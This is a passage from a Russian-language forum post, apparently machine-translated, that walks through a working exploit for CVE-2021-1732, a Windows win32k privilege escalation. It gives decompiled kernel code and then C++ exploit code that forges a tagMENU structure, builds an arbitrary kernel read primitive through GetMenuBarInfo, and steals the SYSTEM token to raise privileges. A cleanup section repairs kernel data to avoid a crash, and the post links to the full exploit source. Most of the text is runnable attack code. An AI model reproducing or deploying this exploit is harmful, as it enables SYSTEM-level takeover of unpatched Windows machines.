          if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 )
          {
            v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40);
            *(_DWORD *)(pmbi + 0xC) = v49;
            *(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
          }
          else                                  // Here it will take the else branch
          {
            value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left
            *(_DWORD *)(pmbi + 4) = value;      // Assign value to PMBI-> RCBAR-> LEFT
            *(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);
          }
          Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right
          *(_DWORD *)(pmbi + 8) = Value;        // Assign a value to pmbi->rcBar->top
          v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64);
        }
      }
  }
}

Первая проверка - просто укажите параметр idObject как -3 при вызове параметра. Вторая проверка заключается в том, что при создании окна необходимо установить spMenu для окна, используемого для эксплуатации:

Код:
if (i == 1)
{
    // 从第1个tagWND开始将带有tagMENU对象
    hMenu = CreateMenu();
    hHelpMenu = CreateMenu();
    if (!hMenu || !hHelpMenu)
    {
        bRet = FALSE;
        ShowError("CreateMenu", GetLastError());
        goto exit;
    }
 
    if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
        !AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
    {
        bRet = FALSE;
        ShowError("AppendMenu", GetLastError());
        goto exit;
    }
}

Подделать структуру tagMENU, при подделке обойти третью проверку:

Код:
// Fake tagMENU
HANDLE hProcHeap = NULL;
 
hProcHeap = GetProcessHeap();
if (!hProcHeap)
{
    bRet = FALSE;
    ShowError("GetProcessHeap", GetLastError());
    goto exit;
}
 
DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
if (!g_qwMenu)
{
    bRet = FALSE;
    ShowError("GetProcessHeap", GetLastError());
    goto exit;
}
 
*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
 
*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
*(PDWORD)(g_qwMenu + 0x40) = 1;
*(PDWORD)(g_qwMenu + 0x44) = 2;

Установите для поддельного тега MENU значение tagWND1:

Код:
// g_hwnd [1] style adds WS_CHILD
DWORD dwStyleOffset = 0x18;
QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);
 
qwStyle |= 0x4000000000000000;
 
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}
 
// Set the fake tagmenu in g_hwnd [1]
QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);
 
if (!qwSPMenu && GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}
 
// Delete the ws_child of g_hwnd [1]
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}

Теперь вы можете прочитать любой адрес, установив значение *(spMenu + 0x58):

Код:
QWORD ReadData_CVE_2021_1732(QWORD pTarAddress)
{
    BYTE bValue[0x8] = { 0 };
 
    RECT Rect = { 0 };
    if (!GetWindowRect(g_hWnd[1], &Rect))
    {
        ShowError("GetWindowRect", GetLastError());
        goto exit;
    }
 
    MENUBARINFO mbi = { 0 };
 
    mbi.cbSize = sizeof(mbi);
    *(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;
    
    if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi))
    {
        ShowError("GetMenuBarInfo", GetLastError());
        goto exit;
    }
 
    *(PDWORD)bValue = mbi.rcBar.left - Rect.left;
    *(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;
 
exit:
    return *(PQWORD)bValue;
}

3. Повышение прав​

Имея возможность чтения и записи любого адреса, вы можете добиться повышения привилегий, заменив Token:

Код:
BOOL EnablePrivileges_CVE_2021_1732()
{
    BOOL bRet = TRUE;
    CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;
 
    QWORD qwSytemAddr = GetSystemProcess();
    if (!qwSytemAddr)
    {
        bRet = FALSE;
        goto exit;
    }
      
    // Get the address and Token of system process EPROCESS
    QWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr);
    QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);
 
    // Find the EPROCESS of the current process
    QWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;
 
    do {
        qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset;
        qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset);
    } while (qwPID != qwCurPID);
    
    // Replacement Token
    if (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken))
    {
        bRet = FALSE;
        goto exit;
    }
    
exit:
    return bRet;
}

4. Восстановить данные​

После завершения повышения привилегий, для предотвращения возникновения BSOD при выходе из процесса, также необходимо восстановить измененные в процессе эксплуатации уязвимости члены оконного объекта обратно к исходным данным:

Код:
// Repair data to prevent blue screens
lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);
QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);
QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);
 
if (qwWndOffset > qwTriggerOffset)
{
    printf("qwWndOffset to larger\n");
    goto exit;
}
 
qwWndOffset = qwTriggerOffset - qwWndOffset;
 
DWORD dwFlagsOffset = 0xE8;
 
DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);
 
dwFlags &= ~0x800;
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}
 
QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);
if (!qwBuffer)
{
    bRet = FALSE;
    ShowError("HeapAlloc", GetLastError());
    goto exit;
}
 
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}
 
// Increase WS_CHILD of g_hWnd[1].
qwStyle |= 0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}
 
// Restore the spMenu of g_hWnd[1]
if (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}
 
// Delete WS_CHILD from g_hWnd[1]
qwStyle &= ~0x4000000000000000;
if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}

5. Запуск результатов​

Полный код хранится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2021-1732.cpp . Скомпилируйте и запустите, чтобы успешно повысить привилегии:


1660627883280.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх